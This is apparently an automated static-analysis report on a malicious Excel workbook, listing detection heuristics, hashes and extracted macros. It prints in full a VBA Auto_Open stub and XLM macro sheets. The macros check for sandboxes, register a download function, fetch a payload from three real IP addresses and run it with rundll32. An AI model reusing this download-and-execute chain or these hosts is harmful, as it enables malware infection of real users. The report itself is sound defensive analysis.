Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a96a0cd64628d4ba…

MALICIOUS

Office (OOXML)

216.7 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-04
MD5: 7b3ff424ef5dc4330fccdfd6af017c05 SHA-1: 11bdec45b4126fe23418ba1c4d5ded94c6020adc SHA-256: a96a0cd64628d4baa213820f529419ed0489e3f06bf14cfdb249d807dcfca66e
178 Risk Score

Heuristics 7

  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.144.30.80/ Referenced by macro
    • http://45.90.59.97/Referenced by macro
    • http://45.144.30.80/44313,6048108796.datReferenced by macro
    • http://45.90.59.97/44313,6048108796.datReferenced by macro
    • http://185.212.128.51/44313,6048108796.datReferenced by macro
    • http://185.212.128.51/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2760 bytes
SHA-256: 125e232ed61153a54047fc42bf831a7a5df16598df76aff16860bf28521d2ade
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub Auto_Open()

Application.Run Sheets("Bileos").Range("AM5")

Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13312 bytes
SHA-256: af57cc08826aca155a5cd6cb3cbe301be728347581c90b0f91c6ed775ade988d
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4302 bytes
SHA-256: 085884862ae3025b15b1ff3b63f007d710179f37582cb4d8fd0cdb284cfa344c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E3EE2C8-4BD1-4A7A-8165-1C49BDB78CBA}"><dimension ref="AE57:AO77"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="21" style="2" customWidth="1"/><col min="2" max="2" width="14.28515625" style="2" customWidth="1"/><col min="3" max="29" width="9.140625" style="2"/><col min="30" max="30" width="9.140625" style="2" customWidth="1"/><col min="31" max="34" width="9.140625" style="2" hidden="1" customWidth="1"/><col min="35" max="35" width="17.5703125" style="2" hidden="1" customWidth="1"/><col min="36" max="38" width="9.140625" style="2" hidden="1" customWidth="1"/><col min="39" max="39" width="11.7109375" style="2" hidden="1" customWidth="1"/><col min="40" max="41" width="9.140625" style="2" hidden="1" customWidth="1"/><col min="42" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="57" spans="34:39" x14ac:dyDescent="0.25"><c r="AJ57" s="2"><v>1</v></c></row><row r="58" spans="34:39" x14ac:dyDescent="0.25"><c r="AJ58" s="2"><v>9</v></c></row><row r="60" spans="34:39" x14ac:dyDescent="0.25"><c r="AI60" s="2"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="61" spans="34:39" x14ac:dyDescent="0.25"><c r="AI61" s="2" t="b"><f>FORMULA(AH73&amp;AH74&amp;AH75,AJ65)</f><v>0</v></c></row><row r="62" spans="34:39" x14ac:dyDescent="0.25"><c r="AH62" s="2" t="str"><f>CONCATENATE(AH68,AI60,AH66,AH67)</f><v>http://45.144.30.80/44313,6048108796.dat</v></c><c r="AM62" s="2" t="e"><f>IF(GET.WORKSPACE(42),,CLOSE(TRUE))</f><v>#N/A</v></c></row><row r="63" spans="34:39" x14ac:dyDescent="0.25"><c r="AH63" s="2" t="str"><f>CONCATENATE(AH69,AI60,AH66,AH67)</f><v>http://45.90.59.97/44313,6048108796.dat</v></c></row><row r="64" spans="34:39" x14ac:dyDescent="0.25"><c r="AH64" s="2" t="str"><f>CONCATENATE(AH70,AI60,AH66,AH67)</f><v>http://185.212.128.51/44313,6048108796.dat</v></c><c r="AJ64" s="2" t="s"><v>3</v></c></row><row r="66" spans="34:39" x14ac:dyDescent="0.25"><c r="AH66" s="2" t="s"><v>0</v></c><c r="AJ66" s="2" t="s"><v>4</v></c></row><row r="67" spans="34:39" x14ac:dyDescent="0.25"><c r="AH67" s="2" t="s"><v>1</v></c><c r="AJ67" s="2" t="s"><v>5</v></c><c r="AM67" s="2" t="e"><f>IF(GET.WORKSPACE(19),,CLOSE(1))</f><v>#N/A</v></c></row><row r="68" spans="34:39" x14ac:dyDescent="0.25"><c r="AH68" s="2" t="s"><v>9</v></c><c r="AM68" s="2" t="e"><f>GET.WORKSPACE(26)</f><v>#N/A</v></c></row><row r="69" spans="34:39" x14ac:dyDescent="0.25"><c r="AH69" s="2" t="s"><v>10</v></c><c r="AI69" s="2" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c><c r="AM69" s="2" t="b"><f>IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","Milolos"),CLOSE(1))</f><v>0</v></c></row><row r="70" spans="34:39" x14ac:dyDescent="0.25"><c r="AH70" s="2" t="str"><f>"http://185.212.128.51/"</f><v>http://185.212.128.51/</v></c><c r="AJ70" s="2" t="s"><v>8</v></c></row><row r="72" spans="34:39" x14ac:dyDescent="0.25"><c r="AM72" s="2" t="b"><f>HALT()</f><v>0</v></c></row><row r="73" spans="34:39" x14ac:dyDescent="0.25"><c r="AH73" s="2" t="s"><v>2</v></c></row><row r="74" spans="34:39" x14ac:dyDescent="0.25"><c r="AH74" s="2" t="s"><v>7</v></c></row><row r="75" spans="34:39" x14ac:dyDescent="0.25"><c r="AH75" s="2" t="s"><v>6</v></c></row><row r="77" spans="34:39" x14ac:dyDescent="0.25"><c r="AI77" s="2" t="b"><f>GOTO(Jioka!H15)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2121 bytes
SHA-256: 9ca9d23ba3a5b04b35f5c4332df1ce68c0463c9fa42327aa2f7cde6c21f3e64c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B06B5105-687C-43F7-A487-3A7680CBC977}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="2"/><col min="7" max="7" width="12.140625" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="2" t="b"><f>REGISTER(Bileos!AJ64,Bileos!AJ65,Bileos!AJ66,Bileos!AJ67,,Bileos!AJ57,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="e"><f>Belandes(0,Bileos!AH62,Bileos!AJ70,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="2" t="e"><f>IF(G12&lt;0, Belandes(0,Bileos!AH63,Bileos!AJ70,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="e"><f>IF(G13&lt;0, Belandes(0,Bileos!AH64,Bileos!AJ70,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="2"><f>IF(G14&lt;0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="e"><f>GOTO(Bileos!AI74)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1832 bytes
SHA-256: 5e80fd069ac35c5e39918d8dfaaf0ba77875f57b487bcfcc5d8bc7d346806551
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7CC12E8C-181F-40F2-A690-14110549575E}"><dimension ref="H9:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="9.85546875" style="2" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="str"><f>"rundll32 ..\Butyo.vikas"</f><v>rundll32 ..\Butyo.vikas</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="2" t="str"><f>",DllRegisterServer"</f><v>,DllRegisterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="2" t="b"><f>EXEC(I9&amp;I10)</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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